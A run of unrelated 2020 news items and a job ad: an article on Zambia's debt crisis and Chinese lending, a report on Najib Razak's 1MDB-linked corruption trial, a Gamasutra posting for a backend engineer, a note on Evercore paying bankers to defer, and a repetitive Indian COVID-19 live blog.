Ethiopia, Angola and Ghana are also seen as likely to default, with most sub-Saharan African countries in talks with the IMF and World Bank for emergency loans. South Africa, the continents most advanced economy, is seeking a loan from a China-based development bank.

According to official figures, Zambia, Africa second largest copper exporter, had debts of $12 billion (51 percent of GDP) at the end of 2018, with about 30 percent owing to China, 25 percent to bondholders and 19 percent to foreign banks, with little owing to the World Bank, IMF and Western governments. The government also had domestic debt of approximately $5 billion and outstanding arrears of approximately $1.2 billion.

The Zambian government is heavily dependent on the multinational copper mining corporations, who are notorious for paying barely any taxes. It spends almost half its tax revenues on debt servicing, with the result that after paying the public sector wage bill there is little left, leading to a budget deficit of 10.9 percent of GDP in 2019.

The corrupt politicians and the Zambian elite whose interests they represent preside over growing levels of inequality, poverty and malnutrition. While the country recorded growth in the decade following debt relief in 2005 up to 2015, the IMF-dictated privatization of major state-owned companies, drastic cuts in government expenditure and social welfare programs meant that little of this growth resulted in changes to income, poverty levels or employment for the vast majority of Zambians. To cite some indicators of the terrible social conditions:

* 58 percent of Zambians live below the international poverty line.

* Rural poverty is 80 percent.

* Stunting is prevalent in 40 percent children and wasting in 5 percent.

* 4.8 million people live without access to clean water.

* At least 40 percent of children in the southern region of Zambia die from malnutrition.

* The UNs Human Development Index (HDI) ranks the country 143 out of 189.

The government closed its borders, banned travel and large gatherings and closed schools and universities as the first COVID-19 cases were announced in mid-March. Zambia has recorded over 1,000 cases that have included two cabinet ministers, and just seven deaths. However, with little testing done, the number of confirmed cases is likely to be a gross underestimate.

The security forces have imposed the lockdown with violence, injuring several in Nakonde, near the border with Tanzania, that became an epicentre for the disease. Lungu has used the pandemic to introduce a bill that would give sweeping powers to the presidency, in effect creating a presidential dictatorship.

Zambias bonds are trading at half their price at the start of the year as investors expect the country to default. This fear intensified with the onset of the pandemic, which has seen copper prices fall by up to 16 percent as global demand plummets. The currency has fallen against the US dollar, while border closures have further impacted on the landlocked country.

Several reports have put the real debt figures as at least double the official statistics, mostly off-balance sheet loans from China for public-private partnership infrastructure deals that may include the underlying assets as collateral. This means that the debt repayments are secured by revenues such as commodity exports, and any debt restructuring could involve the transfer of roads, airports or even mines to China.

The IMF has refused to lend to Zambia since the US calculates that the real beneficiary would be China. Zambia has therefore been caught in the crosshairs of US President Donald Trumps reckless campaign to undermine China, which he views as a threat to US global dominance.

While Chinas growing role in global trade is well known, its role as a global lender is less so. According to research published in the Harvard Business Review, the worlds debt obligations to China rose from $500 billion in 2000 to $5 trillion in 2017, a sum equal to about 6 percent of global GDP. The Chinese government and its state-owned entities have lent $1.5 trillion in loans, portfolio debts (including the $1 trillion of US Treasury debt purchased by Chinas central bank) or trade credits to more than 150 countries, making China the worlds largest creditor, overtaking the IMF and World Bank or all OECD creditor governments combined.

Despite the scale of Chinas lending, no official statistics exist on the debt flows and stocks either in China or in the debtor nations that have largely financed large-scale investments in infrastructure, energy and mining. Of the 50 main recipients in the less advanced countries, Chinese debt constituted 15 percent of GDP in 2017, with 12 of these countries owing debt of at least 20 percent of GDP to China. The African countries include Djibouti, the Democratic Republic of the Congo, Niger and Zambia. Many of these loans go unreported.

While these loans are incurred to build much needed infrastructure, many of the jobs go to Chinese nationals, with some 80,000 working in Zambia building airports, roads, schools, factories and police stations, which has fomented anti-Chinese sentiment.

Lungus government has found it increasingly difficult to balance between Washington and Beijing as the USs anti-China drive reaches new heights, resulting in ever more erratic and authoritarian actions.

Michael Foote, the US ambassador to Zambia, was kicked out of the country after criticizing the governments decision to sentence a gay couple to 15 years in jail. The government only retracted this decision recently, releasing the couple when it found itself in a diplomatic row with China after three Chinese businessmen were killed in xenophobic attacks, and using the pardon as a way to ingratiate itself with the US government once again.

The government also became involved in a fight with Glencore, the British multinational commodity trading and mining company headquartered in Switzerland, over the Mopani Copper Mines, one of Glencores copper mines in Zambia located in the Copperbelt province. Glencore is one of the last major western mining companies to control copper and cobalt operations in Congo and Zambia, as Chinese companies have gradually taken over the industry.

Around 11,000 miners found themselves in danger of being laid off as the company attempted to exploit the COVID-19 pandemic to undertake long planned retrenchments and temporarily mothball the mine. The government, which is heavily dependent on copper revenues, blocked the shutdown as illegal to bolster its own position in the Copperbelt province ahead of next years elections.

Richard Musukwa, the minister of Mines and Mineral Development, threatened to revoke Glencores licence. The government even arrested and detained Glencores local CEO Nathan Bullock. Glencore said it would resume production for three months.
Former Malaysian Prime Minister Najib Razak enters the Kuala Lumpur Court Complex for closing arguments in his SRC International corruption trial, June 5, 2020.

The judge presiding over the landmark first corruption trial against ex-Malaysian Prime Minister Najib Razak linked to a subsidiary of the financial-scandal hit state development fund 1MDB announced on Friday that he would issue his verdict next month.

Kuala Lumpur High Court Judge Nazlan Ghazali said he needed time, after hearing several days of closing arguments from prosecutors and defense attorneys this week, before he could hand down a ruling in the case.

If convicted, Najib could face fines and up to 20-year prison terms for each of four corruption counts and up to 15 years for each of three money-laundering counts tied to charges that he illegally received 42 million ringgit (U.S. $9.67 million) from SRC International, a subsidiary of 1Malaysia Development Berhad (1MDB).

The court has heard submissions from both parties. The court will now evaluate whether the prosecution has proved the case beyond reasonable doubt, Nazlan said. I will deliver my ruling at 10 a.m. July 28.

The announcement came after Najibs defense, led by lead attorney Shafee Abdullah, spent nearly four days arguing for his acquittal.

Quoting from Shakespeares Hamlet, Shafee said the defense had faced overwhelming public prejudice.

Sit down a while, and let us once again assail your ears, that are so fortified against our story, he told the court.

Public prejudice is so high that it makes mounting a defense in a case like this very difficult. The 42 million ringgit went into my clients account: that is the prosecutions case. The public wants to think this alone is equivalent to a smoking gun, Shafee said during closing arguments on Thursday.

Joined by attorneys Harvinderjit Singh and Farhan Read, Shafee hammered the point that Najib was a victim of manipulation by 1MDB financier Jho Low as well as SRC Internationals former managing director Nik Faisal Ariff Kamil  both fugitives from justice.

The defense also argued that Najib  at all material times  believed that funds deposited in his personal accounts from mid-2014 onward were donations from Saudi Arabia.

The trial against Najib began on April 3, 2019, and testimony from 57 prosecution and 19 defense witnesses concluded on March 11.

Prosecution counters

The prosecution blamed Najib, who also held the portfolio of finance minister, for orchestrating the crime, saying Jho Low, whose real name is Low Taek Jho, acted on his orders.

We say Jho Low is not acting behind the scenes but was acting with the knowledge of the accused. (Najib) himself confirmed that there were some communications, although to be fair to him, it was not a lot, lead prosecutor V. Sithambaram told the court on Thursday.

He said: He talks to me but not so often, but he talks to Azlin (more), Sithambaram said, quoting Najibs testimony during cross examination.

On Jan. 9, Najib told the court that he had communicated with Low to make sure his checks were valid. Najib added that such communications were rare as Low communicated more with Najibs former private secretary, Azlin Alias, who died in a helicopter crash in April 2015.

Sithambaram  who alone argued for the prosecution  also challenged the defense claim regarding the money in Najibs account.

The accused did not dispute 42 million ringgit came in, he only disputed it was SRCs money. He goes on to say he thought it was Arab funds and I presented that cannot be the case, Sithambaram said.

Najib set up 1MDB in 2009 ostensibly to spur economic development, but the fund amassed billions in debts. In 2016, the U.S. Department of Justice accused Malaysian Official 1  later identified as Najib  and associates of embezzling and laundering more than U.S. $4.5 billion (18.8 billion ringgit) in 1MDB-linked money between 2009 and 2014.

The former prime minister, who faces a total of 42 criminal counts, is standing trial in another court on 25 charges of abuse of power and laundering of money connected with 2.3 billion ringgit ($551 million) that went missing from 1MDB and could face additional trials on the 10 remaining charges. That trial, which has been postponed because of the COVID-19 pandemic, is to resume on June 29.
The Gamasutra Job Board is the most diverse, active and established board of its kind for the video game industry!



Here is just one of the many, many positions being advertised right now.

Location: Mountain View, CA

Game Closure is on the hunt for backend / systems engineers to help us build the services and infrastructure that power our social games that are played by millions of people every day on Facebook, Viber, Line and other messaging platforms. We are a growing team with offices in Mountain View and San Francisco, California, Tokyo, Japan and some possibilities for remote work. If you want to join us to make great games on our cutting edge technology and truly make an impact, then we want to talk to you!

As a Systems Engineer at Game Closure, you will play a pivotal role in creating a platform to revolutionize the instant games development industry. Our engineers are generally amazing at something and great at everything else. We write scalable backend systems, cross-compilers, JavaScript / TypeScript game APIs and tools, and whatever else it takes. No matter what you work on each day, you will work with the best engineers in the world; we have top talent in every part of our stack.

The Role:

Be a key member of a high performing software engineering team.

Architect and code sophisticated client/server systems for instant gaming.

Play a critical role in day-to-day coding, performance profiling, optimization, and general troubleshooting.

Collaborate with design, engineering, and production teams to devise optimal engineering solutions to game requirements.

Learn from and mentor other engineers on your team.

Take ownership of your projects to make them the best they can possibly be.

Provide valuable input on the companys long-term engineering roadmap and help identify areas of opportunity for improvement.

Define the cutting edge of social gaming!

Desired Skills:

Bachelors degree in Computer Science or related field, or equivalent experience.

3+ years of professional software engineering experience.

Experience writing clean, testable, high-quality code and designing highly scalable systems in production.

Solid familiarity with deployment on cloud environments (AWS, GCP, Azure, etc.).

Strong Computer Science fundamentals in software systems design, algorithms, and data structures.

Ability to interact with peers in a constructive and productive style.

Familiarity with git, svn, or other VCS.

Good communication skills and the ability to work effectively on shared projects with designers, artists, testers, product managers, and other developers.

Strong team player with a positive attitude.

Bonus:

Expert knowledge of NodeJS and ES6 / TypeScript.

DevOps experience -- setting up CI/CD environments, orchestrating deployments, creating monitoring dashboards, anything that makes the development process easier, more enjoyable and more accountable.

Experience in game development and shipped titles.

GC Perks:

Medical, Dental, & Vision: Top quality insurance options with 100% of premiums covered

Social Events: Weekly team dinners, quarterly team excursions, game nights, karaoke, and more

Commuter Pass + Free Parking: Your commute and parking to the office is on us!

PTO: Unlimited vacation policy

Meals: Free daily lunches, well stocked kitchen, healthy snacks and drinks

Pet-Friendly Office: Bring your pets to work to foster a friendlier and happier workplace

Fitness: Free onsite yoga classes

Interested? Apply now.

About the Gamasutra Job Board

Whether you're just starting out, looking for something new, or just seeing what's out there, the Gamasutra Job Board is the place where game developers move ahead in their careers.



Gamasutra's Job Board is the most diverse, most active, and most established board of its kind in the video game industry, serving companies of all sizes, from indie to triple-A.



Looking for a new job? Get started here. Are you a recruiter looking for talent? Post jobs here.
Evercore Inc will pay incoming investment bankers $25,000 to delay their start date for a year due to the coronavirus crisis.

The investment bank made the handsome offer to its junior bankers who defer for a year and offered a $15,000 payment to defer until January, according to external recruiters as per the Wall Street Journal.

Evercore is yet to comment on the plan for incoming staffers.

Paying staffers to defer officially starting their jobs hasn't been seen since the last financial crisis.

Evercore Inc will pay incoming investment bankers $25,000 to delay their start date for a year due to the coronavirus crisis. Evercore Chief Executive Officer Ralph Schlosstein (above) has said the firm would be negatively affected by the economic decline 'for some period of time'

In 2009 when banks saw record losses and laid off employees, thousands of college graduates headed for Wall street were paid to delay their start dates.

While banks arent in financial distress this time, banks are bracing for a decline in deal making due to the coronavirus crisis impact on the economy.

Evercore specializes in advising companies on mergers, fundraising and other transactions.

Evercore Chief Executive Officer Ralph Schlosstein has said the firm would be negatively affected by the economic decline 'for some period of time.'

In the financial fallout from the virus Evercore announced it would cut about six percent of its workforce after it conducted an operations review earlier this year.

The bank says it expects pay for dealmakers to be lower by the end of 2020, as per Bloomberg.

Offices and banks in Wall Street have been empty since March as New York City was shut down to prevent the spread of the contagious virus that has infected more than 202,319 and killed over nearly 17,000. Empty Wall Street pictured May 27

Offices and banks in Wall Street have been empty since March as New York City was shut down to prevent the spread of the contagious virus that has infected more than 202,319 and killed over nearly 17,000.

Typically junior employee join banks and financial firms every summer of fall by the thousands and typically spend two years learning the basics of the industry.

While no bank has rescinded offers in bulk, many are adopting their onboarding systems to be virtual.

Summer internships will also be online-only.

Consulting firms such as McKinsey and Accenture, which also pull from similar pools of students as Wall Street banks, have delayed start dates for their fall hires.
Coronavirus Outbreak Updates:Pune district reported 342 new coronavirus cases in the last 24 hours, taking its COVID-19 count to 9,307, a health official said on Saturday. The death toll due to the pandemic reached 407 with six persons succumbing to the infection, he said.

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"We'll use only 50 percent seating capacity, we're providing partition between tables. We'll use leaves to serve customers, that is disposable. Customers will also be thermally screened," said an employee of RHR hotel in Coimbatore.

With 48 more people testing positive for the novel coronavirus in Tripura, the total number of confirmed COVID-19 cases in the state climbed to 695 on Saturday, PTI quoted officials as saying.

They are urging the government to provide some relaxations in the guidelines, especially pertaining to quarantine upon labourers' return, ANI reported.

Amid easing of lockdown restrictions across the country, the textile market in Gujarat's Surat has resumed operations but businessmen complain of shortage of labourers.

The third phase of the mission will begin from 11 June and continue till 30 June.

"#FlyAI: Bookings for select destinations in USA, Canada, UK & Europe etc under Phase 3 of Mission Vande Bharat opened at 5 pm today. Around 60 million hits received till 7 pm on our website and 1700 seats sold through website alone in 2 hours. Bookings continue and tickets are being issued," the national carrier said in a tweet on Friday.

Bookings for select destinations in the United States, Canada, United Kingdom and Europe etc under Phase three of Mission Vande Bharat opened at 5 pm on Friday, according to Air India.

Over 900 people succumbed to the novel coronavirus in the United States in the past 24 hours, bringing the toll to 109,042 on Saturday. The country registered more than 1.89 million COVID-19 cases, according to a real-time tally maintained by Johns Hopkins University.

After 90 more people tested positive for the novel coronavirus in Assam, the total confirmed COVID-19 cases in the state reached 2,243 on Friday, according to Health and Family Welfare Minister Himanta Biswa Sarma.

Of the new 90 COVID-19 cases in Assam, 37 were reported in Dhubri, 15 in Dima Hasao, seven each in Karimganj, Cachar, and Baksa, six in Hailakandi, three in Udalguri, two each in South Salmara and Dhemaji, while one each in Nalbari, Barpeta, Bongaigaon and Chirang.

So far, four people have lost their lives to the infectious disease in the state.

Of the total 2,243 confirmed coronavirus cases in Assam, at least 509 patients were cured of the viral infection as of Friday, taking the recovery rate in the state to 22.7 percent.

In terms of cases, India had crossed China - where the virus emerged late in 2019 - for the ninth spot just a week ago.

Surpassing Italy, the number of coronavirus cases in India climbed past 2.35 lakh on Friday, taking the country to the sixth spot worldwide, according to the data released by John Hopkins University. India on Friday registered 9,332 new COVID-19 cases and 297 deaths. The total stood at 2,36,047, including 6,647 deaths.

In terms of cases, India had crossed China - where the virus emerged late in 2019 - for the ninth spot just a week ago.

Surpassing Italy, the number of coronavirus cases in India climbed past 2.35 lakh on Friday, taking the country to the sixth spot worldwide, according to the data released by John Hopkins University. India on Friday registered 9,332 new COVID-19 cases and 297 deaths. The total stood at 2,36,047, including 6,647 deaths.

This is the second time in the last two weeks that the recovery rate has fallen to below 40 percent. On 4 June, the recovery rate reported was 39.58 percent.

The recovery rate of COVID-19 patients in Delhi has gradually fallen in the last 11 days, dipping to 39.16 percent as reported on Friday, according to official figures.

India registered a total of 9,887 new COVID-19 cases and 294 deaths in the past 24 hours, according to the latest data released by the health ministry on Saturday. This takes the total confirmed cases to 2,36,657 nationwide.

Of the total 2.36 lakh infections in India, there are 1,15,942 active cases nationwide, according to the recent data released by the health ministry on Saturday. After 294 more people succumbed to the viral infection, the COVID-19 toll across the nation stood at 6,642.

Of the total 2.36 lakh COVID-19 cases in India, 1,14,072 people have been cured of the infectious disease as of Saturday, said the health ministry. This takes the COVID-19 recovery rate to 48.20 percent.

The number of confirmed cases soared to 4,598 in the state with 146 fresh infections.

After the sample of another deceased patient in Bihar tested positive for the novel coronavirus, the COVID-19 toll in the state climbed to 29, officials said on Saturday.

The Enforcement Directorate office has been shut until Sunday after five employees were found to be infected with coronavirus. The officials who have tested positive are - Special Director (HIU), Staff in Legal Section and Intelligence section, IO handling Aviation Scam.

The headquarters in Delhi at the Lok Nayak Bhawan in Khan Market has been sealed till Sunday.

Another official at the Enforcement Directorate tested positive for the novel coronavirus, taking the total number of infections to six on Saturday, NDTV quoted sources as saying.

Of the total 45,24,317 COVID-19 samples tested so far, 1,37,938 were tested in the past 24 hours, said the Indian Council of Medical Research (ICMR) on Saturday.

The country is now behind US, Brazil, Russia, Spain and the UK, according to the data released by John Hopkins University.

According to the US-based John Hopkins University, India is now the six worst-affected nation in terms of number of COVID-19 cases with over 2.36 lakh infections.

With 173 more individuals testing positive for the novel coronavirus in Odisha, the total number of infections in the state increased to 2,781.

While, the COVID-19 recovery rate in the state was 57.7 percent after 1,604 patients were cured of the disease.

Of the total number of 2,781 COVID-19 cases in Odisha, there are 1,167 active cases, said the state health department on Saturday. Ten deaths have been recorded due to the novel coronavirus so far.

Under the third phase of Mission Vande Bharat, Air India opened bookings for select destinations in the United States, Canada, United Kingdom and Europe at 5 pm on Friday.

Air India sold over 22,000 tickets for west-bound Vande Bharat fights from 5 pm on Friday till 8 am on Saturday after the airline's website experienced 6-7 times more activity.

The COVID-19 pandemic, which has presented challenges for several nations, could be an opportunity for India to speed up the health insurance scheme Ayushman Bharat, especially with a focus on primary healthcare, WHO chief Tedros Adhanom Ghebreyesus has said.

Trump, in his remarks at Puritan Medical Products in Maine, said that the US has carried out 20 million tests. India has so far conducted over 4 million coronavirus tests, according to the health ministry.

US President Donald Trump has said that countries like India and China would have much more coronavirus cases than America if they conduct more tests.

As per the official letter issued on Friday, Sundaram directed Uttarakhand Department of Education to keep District Magistrate(s) of the concerned examination centres informed.

Board examinations for Classes 10 and 12 in Uttarakhand, which were deferred due to COVID-19 pandemic, will be held from 20-23 June. The evaluation of answer sheets is scheduled to be completed till 15 July, said State Secretary (Education) Meenakshi Sundaram K.

"Total number of police personnel who have tested positive for the virus is at 2,561. While, the toll stands at 33," said the Maharashtra Police.

In the past 24 hours, two Maharashtra Police personnel have succumbed to the novel coronavirus, said the police force on Saturday. However, no cops have tested positive for the viral infection in the past 24 hours.

Two individuals, who recently returned from New Delhi to Mizoram, have tested positive for the novel coronavirus in the state. With this, the total number of positive cases climbed to 24 in the state.

Manipur registered a total of 143 COVID-19 cases after 11 more individuals tested positive for the novel coronavirus, said the state health department on Saturday. Of the total, there are 91 active cases in the state.

The Tamil Nadu government sets the price limit for COVID-19 treatment in private hospitals at Rs 15,000 per day in Intensive care unit (ICU), PTI reported. While in the general ward the charges have been limited Rs 7,500 per day.

Some senior officers engaged in COVID-19 duty have been spared to attend to their original administrative responsibilities. They performed very well under trying circumstances. We thank them for their dedication, said Odisha Chief Secretary AK Tripathy.

Of the 173 cases, 150 were in quarantine centres, where people returning from different states are staying. Twenty-three others were detected with the infection during contact-tracing exercises, he said.

Odisha on Saturday reported its highest single-day spike in COVID-19 cases after 173 more people tested positive for the disease, taking the total tally in the state to 2,781, a health department official said.

Jharkhand reported 95 new cases of COVID-19 in the past 24 hours, taking the total number of cases in the state to 938 on Saturday. This figure includes 521 active cases, said the state health department.

While lives of seven people were claimed by the novel coronavirus in the state.

The COVID-19 recovery rate in Jharkhand stood at 43.71 percent after 410 patients were cured of the viral infection in the state, said the health department on Saturday.

Meanwhile, a Delhi government order cited health ministry guidelines to reiterate that asymptomatic and mild symptom patients dont need hospitalisation and can be quarantine at home. A mild or asymptomatic person has to be discharged by the hospital within 24 hours of admission, it stated.

He also said that the government will deploy medical professionals at each private hospital to keep tab on available beds for COVID-19 patients. The move comes amid complaints of refusal of beds to coronavirus patients.

Refuting rumours that coronavirus testing has been halted in Delhi, Chief Minister Arvind Kejriwal said that 36 government and private labs are carrying out tests.

The state has also augmented the number of hospital beds and escalated levels of another 14 hospitals across various districts.

In a bid to tackle the rising coronavirus cases in West Bengal, the state government has included eight more hospitals from various districts to its list of 69 dedicated COVID-19 care centres.

The Tribeni tourist lodge in Lamahata in Darjeeling will be converted to SARI hospital (Level 2) with a capacity of 150 beds. Similarly, the Modern School at Manikchak, Malda, will be converted to SARI hospital (Level 2) with the capacity of 50 beds.

With the subsequent spike in coronavirus cases in the state, the West Bengal government has converted state-run tourist lodges and a school into a dedicated COVID-19 healthcare facility.

"Promising strict action against all those involved, Chief Minister Amarainder Singh announced the constitution of a Special Investigation Team (SIT) to thoroughly probe the illicit sale and smuggling of liquor during the lockdown period," the tweet read.

The office of the Chief Minister (CMO) tweeted about the constitution of the SIT today.

To probe the illicit sale and smuggling of liquor in Punjab during the COVID-19 lockdown, Chief Minister Captain Amarinder Singh announced the formation of a Special Investigation Team (SIT) on Saturday.

The Punjab government has issued guidelines for reopening of places of worship, hotels, restaurants and other hospitality services and shopping malls from 8 June after Centre announced 'Mission Begin Again'.

147 more individuals tested positive for COVID-19 in Bihar, taking the total number of positive coronavirus cases in the state to 4,745 on Saturday, said the state health department.

In the past 24 hours, 161 new positive cases of COVID-19 have been reported in Andhra Pradesh. The total number of confirmed cases in the state climbed to 3,588 including 1,192 active cases, said the state health department on Saturday.

"The demand for these trains has decreased from 250 to about 137 per day. We operated 56 trains in the last two days, he further added.

Over 58 lakh migrant labourers have reached their native states so far, said Vinod Kumar Yadav, Chairman Railway Board on Saturday. As many as 4,286 Shramik special trains have plied to help the migrant workers return to their home states, said the Indian Railways official.

The central government has filed its detailed affidavit in Supreme Court regarding migrant labourers crisis and stated that Centre with the support of NHAI, facilitated shifting of migrant workers, who were found walking on roads by providing them requisite transport to nearest railway stations. In the affidavit , the government has also claimed that the state governments and railways provide food and water free of cost. Till 1 June, railways served 1.63 crore meals and over 2.10 crores packaged drinking water bottles were distributed, apart from services provided by respective state governments, it said. It also stated that the migrant workers were provided with food, drinking water, medicines, clothes, slippers and other essentials free of cost, whenever required.

While a patent has been filed for the test kit, the team has conducted clinical trials at ESIC Medical College and Hospital in Hyderabad and sought an approval from the Indian Council for Medical Research (ICMR).

The researchers claimed that the alternative test method is not based on the Reverse Transcription Polymerase Chain Reaction (RT-PCR) -- the method currently being used for COVID-19 testing. The test kit has been developed at a cost of Rs 550 and it can be reduced to up to Rs 350 when taken to mass production, they said.

A team of researchers at the Indian Institute of Technology (IIT), Hyderabad claims to have developed a first-of-its kind COVID-19 test kit that can deliver results within 20 minutes.

An FIR has been lodged against the Sir Ganga Ram Hospital (SGRH) here for allegedly violating COVID-19 regulation norms, after Delhi government registered a compliant with the police in this connection. According to the FIR, a copy of which is available with PTI, the complainant is a senior official of the Delhi government's heath department.

Collector Uday Choudhari told PTI 25 of those who tested positive are from central jail while four are from a temporary facility created for undertrials. "All 29 are asymptomatic. A total of 110 swabs of inmates and prison staff have been collected and sent for testing on Saturday," he added.

A few days after an inmate tested positive for novel coronavirus in the central jail in Harsul in Maharashtra's Aurangabad, 29 others who were in contact were detected with the infection on Saturday afternoon, said an official.

Three more COVID-19 deaths were reported in Jammu and Kashmir on Saturday, taking the total number of fatalities due to the disease in the Union Territory to 39, officials said. While two deaths took place in the Kashmir Valley, another was recorded in the Jammu region, they said.

The enforcement directorate headquarters in New Delhi was sealed on Saturday after 3 officials and two contract workers tested positive for the coronavirus, ANI reported.

Maharashtra on Saturday reported spike of 2,739 new COVID-19 cases, taking the overall case count to 82,968 while the death toll rose by 120 to 2,969, state Health department said. A total of 2,234 patients were discharged in the day, pushing the tally of the recovered cases to 37,390 so far, a statement said.

The number of COVID-19 cases in Ahmedabad rose to 13,967 on Saturday with 289 more people testing positive for coronavirus while the death toll rose by 26 to 994, a Health official said. A total of 210 patients were discharged from hospitals in the day, the official said.

An NDRF personnel tested positive for COVID-19 positive on June 4 in West Bengal. The person was a part of the team which went to the state for restoration. All the team members have been quarantined at the NDRF's quarantine center at Mundali Battalion in Cuttack, Odisha, a NDRF official told ANI.

Devotees cannot make any offering of prasad' nor will be able to to touch statues, idols or holy books in places of worship as and when they visit them after their opening, the Uttar Pradesh government said on Saturday. In an elaborate guideline, issued on Saturday on relaxation of COVID-19 lockdown curbs, the government said the distribution of prasad or sprinkling of holy water too will not be allowed inside religious places after their opening on 8 June. The visitors to religious places will have to use their own mats for sitting there and their managing authorities will have to ensure social distancing in shrines, said Additional Chief Secretary (Home) Awanish Awasthi on Saturday while releasing an elaborate guidelines on reopening of religious places, offices, malls, hotels etc outside containment zones.

Twenty-one more people were found positive for coronavirus in Uttar Pradesh's Gautam Buddh Nagar on Saturday, taking the total number of cases in the district to 591, officials said. Also, 29 COVID-19 patients were discharged after recovery, bringing down the active cases to 201, the officials said. A 41-year-old man died at the Government Institute of Medical Sciences (GIMS) in Greater Noida on Saturday. His COVID-19 test report is awaited, according to officials.

with biggest single-day jump of 355 new cases, including 129 in Gurgaon, 89 in Sonipat and 39 in Faridabad, PTI quoted the state health department as saying.

Coronavirus cases count rises to 3,952 in Haryana with biggest single-day jump of 355 new cases, including 129 in Gurgaon, 89 in Sonipat and 39 in Faridabad, PTI quoted the state health department as saying.

Bihar reported 233 new cases of COVID-19 on Saturday as its tally for the dreaded disease shot up to 4,831, the health department said. Significant numbers of cases were reported from north Bihar districts such as Darbhanga, Samastipur, Supaul, East Champaran, West Champaran, Madhubani, Purnea, Saran and Kishanganj. South of the Ganges, the spike was notable in Munger, Bhagalpur, Bhojpur and Kaimur. Four people tested positive in Patna district. No fresh casualties were reported in the state where the death toll remained at 29.

90 new cases of #COVID19 recorded in Jharkhand today, taking total number of cases to 1028 out of which 548 cases are active: State Health department pic.twitter.com/Aqi8DOKBwd

The death toll due to COVID-19 in Rajasthan rose to 231 as 13 patients succumbed to the disease on Saturday, officials said. Four deaths were reported from Jaipur and one each from Bharatpur, Bhilwara, Dholpur, Jodhpur, Kota, Nagaur and Swai Madhopur. Two patients who died here are of other states, they said. The number of cases in the state climbed to 10,337 as 253 more people tested positive for the disease, officials said.

Delhi government hospitals have been directed to procure and stock "sufficient supplies" of medical equipment like personal protection equipment kits and oxygen masks for at least the next three months amid a spurt in coronavirus cases in the city, officials said on Saturday. Delhi Health Secretary Padmini Singla in an order issued on Friday said it has been observed that there has been a surge in the number of cases of COVID-19 in the last one week in Delhi, resulting in additional demand of beds, consumable and infrastructure.

All the 25 districts of Arunachal Pradesh now has institutional quarantine centres to keep migrants coming from outside and the government has decided to establish one dedicated COVID-19 hospital in each district, official sources said on Saturday. In the quarantine centres set up with proper monitoring mechanism, there are provisions for segregation of people coming from red, orange and green zones, they said.

Denying the allegations, Health and Family Welfare Minister N K Das said there has been no corruption in the purchase of equipment. "The allegation of different prices for a single item perhaps stemmed from two factors," Das said. "First, the incentive offered by the state government if a certain product is supplied by a vendor within a specified number of days. The second factor is the hike in prices of products by the central government in March. We purchased products at prices fixed by the Centre. Therefore, there is no corruption here as alleged by the Opposition.

The Odisha government on Saturday said it has withdrawn nine senior IAS officers from COVID-19 duty in a bid to send "new warriors" to continue the long fight against the disease which has claimed eight lives in the state.The clarification came a day after the Opposition Congress and BJP alleged corruption in management and purchase of medical equipment and protective gear against the coronavirus. They alleged the same equipment were purchased at different prices from different suppliers.

"Of the 342 cases, 290 are from the Pune Municipal Corporation limits, which now has 7,722 patients. On the other hand, 259 patients were also discharged from the hospitals," the official said

Pune district reported 342 new coronavirus cases in the last 24 hours, taking its COVID-19 count to 9,307, a health official said on Saturday. The death toll due to the pandemic reached 407 with six persons succumbing to the infection, he said.

Coronavirus Outbreak Updates: Pune district reported 342 new coronavirus cases in the last 24 hours, taking its COVID-19 count to 9,307, a health official said on Saturday. The death toll due to the pandemic reached 407 with six persons succumbing to the infection, he said.

Bihar reported 233 new cases of COVID-19 on Saturday as its tally for the dreaded disease shot up to 4,831, the health department said.

The Haryana government has decided to allow reopening of places of worship and shopping malls for public in a regulated manner across the state from June 8, except in Gurgaon and Faridabad districts worst-hit by COVID-19, according to a statement issued on Saturday.

Madhya Pradesh on Saturday recorded 232 new infections and 15 deaths, taking total number of cases to 9228 and death toll to 399, reports ANI.

Mumbai on Saturday reported 1,274 fresh cases and 57 deaths, taking the total number of cases to 47,128 and toll to 1,575, ANI quoted the Greater Mumbai Municipal Corporation as saying.

An NDRF personnel tested positive for COVID-19 positive on June 4 in West Bengal. The person was a part of the team which went to the state for restoration. All the team members have been quarantined at the NDRF's quarantine center at Mundali Battalion in Cuttack, Odisha, a NDRF official told ANI.

Maharashtra on Saturday reported spike of 2,739 new COVID-19 cases, taking the overall case count to 82,968 while the death toll rose by 120 to 2,969, state Health department said. A total of 2,234 patients were discharged in the day, pushing the tally of the recovered cases to 37,390 so far, a statement said.

The enforcement directorate headquarters in New Delhi was sealed on Saturday after 3 officials and two contract workers tested positive for the coronavirus, ANI reported.

Tamil Nadu on Saturday reported 1,458 cases - of which 1,423 were from the state while the remaining had returned from abroad or from other states- taking the total number of cases in the state to 30,152. The state also reported 19 COVID-19 casualties today taking the number of deaths related to the disease to 251. Chennai, which accounts for 20,993 cases and 197 deaths, recorded 1,146 new cases, according to data released by the state health department.

Kerala on Saturday registered as many as 108 new cases, taking the total number of such cases in the state to 1,807. The number of active cases in the state stands at 1, 029, said the state health department.

Two Vistara pilots have tested positive for COVID-19 after undergoing flight simulator training, the airline said on Saturday.

Surpassing Italy, the number of coronavirus cases in India climbed past 2.35 lakh on Saturday, taking the country to the sixth spot worldwide, according to the data released by John Hopkins University.

The number of coronavirus positive cases in Uttar Pradesh crossed the 10,000 with 370 fresh cases reported on Saturday even as the number of casualties rose to 268, reports PTI.

All asymptomatic COVID-19 patients and those having mild symptoms are to be discharged from hospitals within 24 hours of admission, and district surveillance officers should be reported, according to a Delhi government order dated 4 June.

The number of confirmed cases in Assam on Saturday rose to 2,324 after 81 more tested positive. State health minister Himanta Biswa Sarma said that 38 more patients were also discharged following their recovery.

Over 58 lakh migrant labourers have reached their native states so far, said Vinod Kumar Yadav, Chairman Railway Board on Saturday. As many as 4,286 Shramik special trains have plied to help the migrant workers return to their home states, said the Indian Railways official.

"The demand for these trains has decreased from 250 to about 137 per day. We operated 56 trains in the last two days, he further added.

The Punjab government on Saturday issued guidelines on reopening of of places of worship, hotels, restaurants and other hospitality services from 8 June. It said restrictions will be on 'dine-in' restaurants till further orders but permitted home delivery of food and take-aways till 8 pm.

In a bid to tackle the rising coronavirus cases in West Bengal, the state government has included eight more hospitals from various districts to its list of 69 dedicated COVID-19 care centres.

The state has also augmented the number of hospital beds and escalated levels of another 14 hospitals across various districts.

Delhi Chief Minister Arvind Kejriwal addressed the widespread complaints and issue of black-marketing of beds in hospitals earmarked for COVID-19 patients.

Odisha on Saturday reported its highest single-day spike in COVID-19 cases after 173 more people tested positive for the disease, taking the total in the state to 2,781, a health department official said.

